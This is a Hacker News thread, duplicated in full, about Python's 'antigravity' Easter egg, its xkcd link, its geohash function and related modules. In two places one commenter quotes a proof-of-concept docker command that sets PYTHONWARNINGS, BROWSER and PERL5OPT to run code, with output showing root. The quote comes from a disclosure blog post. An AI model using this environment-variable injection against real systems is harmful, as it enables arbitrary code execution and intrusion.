6 ms·

Antigravity.py (2020)

116 points by chha 5y ago

chha 5y ago
Related: https://xkcd.com/353/ https://xkcd.com/353/
- deleted 5y ago
  [deleted]
- codetrotter 5y ago
  Well yes. From the OP link: webbrowser.open("https://xkcd.com/353/")
- TuringTest 5y ago
  Well, it does have "float" in the code, doesn't it?
tersers 5y ago
TIL python has a webbrowser module
- hansor 5y ago
  Me too... Hilarious!
- codetrotter 5y ago
  And it's even using the user preferred browser! Tried it on my MacBook M1 and it opens Brave which is my main browser. Wonder if it's using the same mechanism as the macOS open(1) command does for opening URLs. Or maybe even calling the /usr/bin/open binary.
  - zirak 5y ago
    From the python source code: https://github.com/python/cpython/blob/11749e2dc20ad6a76e9a39e948853e89b2b4bbed/Lib/webbrowser.py#L619 https://github.com/python/cpython/blob/11749e2dc20ad6a76e9a3... It seems to be shelling out to osascript, either telling it to OpenURL or open.
- mxuribe 5y ago
  I just learned this myself the other day... I was looking at the "Automate the Boring Stuff with Python" book by Al Sweigart (which admittedly i have not read cover to cover, but rather use it as a reference) for some help with a little polite scraping, and lo and behold the webbrowser module...See chapter 12: https://automatetheboringstuff.com/2e/chapter12/ https://automatetheboringstuff.com/2e/chapter12/ I have not played much with it yet, but man, python continues to impress me!
- vascocosta 5y ago
  Me too and I'm a long time Python programmer.
- jp_sc 5y ago
  But not a texteditor. You can use this library for that: https://pypi.org/project/texteditor/ https://pypi.org/project/texteditor/ (Disclaimer: I’m the author)
  - diogenesjunior 5y ago
    There's not really a reason for a built in text editor
    - jp_sc 5y ago
      Is not a built in text editor, is a command to open programmatically your default text editor to edit a file (new or existing). There are several cases when you would want to do that, for example, think on the git CLI, that opens one so you can write a commit message, etc. And is not only about using the EDITOR variable, most non-programmers doesn’t have one defined or it points to vim or something equally terrible for non technical users.
    - deleted 5y ago
      [deleted]
  - BiteCode_dev 5y ago
    Idle
    - ehsankia 5y ago
      You missed the point of what the library does. Similar to webbrowser (which isn't a full browser), all it does is open your default text editor.
- boublepop 5y ago
  Back in the day, python was popular because it was a “batteries included” language, which meant I supposedly had almost everything you would need right there in the standard language. These days of cause no one runs python without going on a shopping spree of additional packages on pypi, so it would be less of a big deal if it didn’t include a browser lib, or a GUI lib out of the box.
diogenesjunior 5y ago
I get a type error in line 13 running the code: TypeError: openssl_md5() takes no keyword arguments
- shmageggy 5y ago
  From the docs > Changed in version 3.9: All hashlib constructors take a keyword-only argument usedforsecurity...
  - geofft 5y ago
    To add to this - antigravity is part of the Python standard library, and you want to run the version that's shipped with your version of Python, not the version from the latest development build. Do "python3 -m antigravity".
isp 5y ago
This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045 https://news.ycombinator.com/item?id=23828045
- deleted 5y ago
  [deleted]
- chias 5y ago
  I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when executed with the argument "https://xkcd.com/353/ https://xkcd.com/353/", grants you arbitrary code execution. So, you have full control over the environment variables, and that's it. How do you turn effectively [binary] "https://xkcd.com/353/" into arbitrary code execution, where [binary] is an executable already on the machine?
  - isp 5y ago
    There is a proof of concept given, "Figure-4: arbitrary code execution achieved using multiple environment variables against Python 2 and Python 3": $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null uid=0(root) gid=0(root) groups=0(root) Invalid -W option ignored: unknown warning category: 'antigravity.x' $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null uid=0(root) gid=0(root) groups=0(root) Invalid -W option ignored: unknown warning category: 'antigravity.x'
    - 5y ago
szszrk 5y ago
I chuckled a bit, but it took me a while to realize what code repository it is from. Chuckled again.
Waterluvian 5y ago
Might not be obvious to all: This is in the python standard library. So you can open a python REPL and type `import antigravity`
glofish 5y ago
reading the module, I have also learned about the Munroe geohashing: https://en.wikipedia.org/wiki/Geohashing https://en.wikipedia.org/wiki/Geohashing and https://xkcd.com/426/ https://xkcd.com/426/ official website: https://geohashing.site/geohashing/Main_Page https://geohashing.site/geohashing/Main_Page oddly the geohash function in the antigravity module prints to the screen rather than returning the values ... seems odd to say the least
chronolitus 5y ago
A description of what the code does: First, the line webbrowser.open("https://xkcd.com/353/ https://xkcd.com/353/") is obvious, it opens a browser pointing to the relevant XKCD comic, containing a joke which inspired this code. Then, a geohash function is declared which takes the user's current latitude/longitude, and the current date-time, and returns a target latitude/longitude. According to a previous comic (https://xkcd.com/426/ https://xkcd.com/426/) this corresponds to the game of 'geohashing' where players are supposed to physically travel to arbitrary locations and prove it.
- nwsm 5y ago
  For more context, "geohashing" is a play on geocaching [0]. This is not to be confused with a geohash [1]. [0] https://en.wikipedia.org/wiki/Geocaching https://en.wikipedia.org/wiki/Geocaching [1] https://en.wikipedia.org/wiki/Geohash https://en.wikipedia.org/wiki/Geohash
Xavdidtheshadow 5y ago
I've long known that `import antigravity` would open the xkcd comic, but I never knew there was also a geohashing function! That was a favorite activity of mine in high school. On Friday evening, we'd look at the nearest graticule(s) to our town and pick one for a Saturday day trip. Trucking out to a random point on a map is a great way to explore your metro area and see things you never would otherwise. Heartily recommend trying it out. Looks like the map (linked from the comic) is no longer working: http://carabiner.peeron.com/xkcd/map/map.html http://carabiner.peeron.com/xkcd/map/map.html But, with this function, there may yet be hope!
- raymondh 5y ago
  I added the geohash() function and am delighted that it eventually got found.

116 points by chha 5y ago

chha 5y ago

Related: https://xkcd.com/353/ https://xkcd.com/353/

deleted 5y ago
[deleted]
codetrotter 5y ago
Well yes. From the OP link: webbrowser.open("https://xkcd.com/353/")
TuringTest 5y ago
Well, it does have "float" in the code, doesn't it?

tersers 5y ago

TIL python has a webbrowser module

hansor 5y ago
Me too... Hilarious!
codetrotter 5y ago
And it's even using the user preferred browser! Tried it on my MacBook M1 and it opens Brave which is my main browser. Wonder if it's using the same mechanism as the macOS open(1) command does for opening URLs. Or maybe even calling the /usr/bin/open binary.
- zirak 5y ago
  From the python source code: https://github.com/python/cpython/blob/11749e2dc20ad6a76e9a39e948853e89b2b4bbed/Lib/webbrowser.py#L619 https://github.com/python/cpython/blob/11749e2dc20ad6a76e9a3... It seems to be shelling out to osascript, either telling it to OpenURL or open.
mxuribe 5y ago
I just learned this myself the other day... I was looking at the "Automate the Boring Stuff with Python" book by Al Sweigart (which admittedly i have not read cover to cover, but rather use it as a reference) for some help with a little polite scraping, and lo and behold the webbrowser module...See chapter 12: https://automatetheboringstuff.com/2e/chapter12/ https://automatetheboringstuff.com/2e/chapter12/ I have not played much with it yet, but man, python continues to impress me!
vascocosta 5y ago
Me too and I'm a long time Python programmer.
jp_sc 5y ago
But not a texteditor. You can use this library for that: https://pypi.org/project/texteditor/ https://pypi.org/project/texteditor/ (Disclaimer: I’m the author)
- diogenesjunior 5y ago
  There's not really a reason for a built in text editor
  - jp_sc 5y ago
    Is not a built in text editor, is a command to open programmatically your default text editor to edit a file (new or existing). There are several cases when you would want to do that, for example, think on the git CLI, that opens one so you can write a commit message, etc. And is not only about using the EDITOR variable, most non-programmers doesn’t have one defined or it points to vim or something equally terrible for non technical users.
  - deleted 5y ago
    [deleted]
- BiteCode_dev 5y ago
  Idle
  - ehsankia 5y ago
    You missed the point of what the library does. Similar to webbrowser (which isn't a full browser), all it does is open your default text editor.
boublepop 5y ago
Back in the day, python was popular because it was a “batteries included” language, which meant I supposedly had almost everything you would need right there in the standard language. These days of cause no one runs python without going on a shopping spree of additional packages on pypi, so it would be less of a big deal if it didn’t include a browser lib, or a GUI lib out of the box.

diogenesjunior 5y ago

I get a type error in line 13 running the code: TypeError: openssl_md5() takes no keyword arguments

shmageggy 5y ago
From the docs > Changed in version 3.9: All hashlib constructors take a keyword-only argument usedforsecurity...
- geofft 5y ago
  To add to this - antigravity is part of the Python standard library, and you want to run the version that's shipped with your version of Python, not the version from the latest development build. Do "python3 -m antigravity".

isp 5y ago

This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045 https://news.ycombinator.com/item?id=23828045

deleted 5y ago
[deleted]
chias 5y ago
I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when executed with the argument "https://xkcd.com/353/ https://xkcd.com/353/", grants you arbitrary code execution. So, you have full control over the environment variables, and that's it. How do you turn effectively [binary] "https://xkcd.com/353/" into arbitrary code execution, where [binary] is an executable already on the machine?
- isp 5y ago
  There is a proof of concept given, "Figure-4: arbitrary code execution achieved using multiple environment variables against Python 2 and Python 3": $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null uid=0(root) gid=0(root) groups=0(root) Invalid -W option ignored: unknown warning category: 'antigravity.x' $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null uid=0(root) gid=0(root) groups=0(root) Invalid -W option ignored: unknown warning category: 'antigravity.x'
  - 5y ago

szszrk 5y ago

I chuckled a bit, but it took me a while to realize what code repository it is from. Chuckled again.

Waterluvian 5y ago

Might not be obvious to all: This is in the python standard library. So you can open a python REPL and type `import antigravity`

glofish 5y ago

reading the module, I have also learned about the Munroe geohashing: https://en.wikipedia.org/wiki/Geohashing https://en.wikipedia.org/wiki/Geohashing and https://xkcd.com/426/ https://xkcd.com/426/ official website: https://geohashing.site/geohashing/Main_Page https://geohashing.site/geohashing/Main_Page oddly the geohash function in the antigravity module prints to the screen rather than returning the values ... seems odd to say the least

chronolitus 5y ago

A description of what the code does: First, the line webbrowser.open("https://xkcd.com/353/ https://xkcd.com/353/") is obvious, it opens a browser pointing to the relevant XKCD comic, containing a joke which inspired this code. Then, a geohash function is declared which takes the user's current latitude/longitude, and the current date-time, and returns a target latitude/longitude. According to a previous comic (https://xkcd.com/426/ https://xkcd.com/426/) this corresponds to the game of 'geohashing' where players are supposed to physically travel to arbitrary locations and prove it.

nwsm 5y ago
For more context, "geohashing" is a play on geocaching [0]. This is not to be confused with a geohash [1]. [0] https://en.wikipedia.org/wiki/Geocaching https://en.wikipedia.org/wiki/Geocaching [1] https://en.wikipedia.org/wiki/Geohash https://en.wikipedia.org/wiki/Geohash

Xavdidtheshadow 5y ago

I've long known that `import antigravity` would open the xkcd comic, but I never knew there was also a geohashing function! That was a favorite activity of mine in high school. On Friday evening, we'd look at the nearest graticule(s) to our town and pick one for a Saturday day trip. Trucking out to a random point on a map is a great way to explore your metro area and see things you never would otherwise. Heartily recommend trying it out. Looks like the map (linked from the comic) is no longer working: http://carabiner.peeron.com/xkcd/map/map.html http://carabiner.peeron.com/xkcd/map/map.html But, with this function, there may yet be hope!

raymondh 5y ago
I added the geohash() function and am delighted that it eventually got found.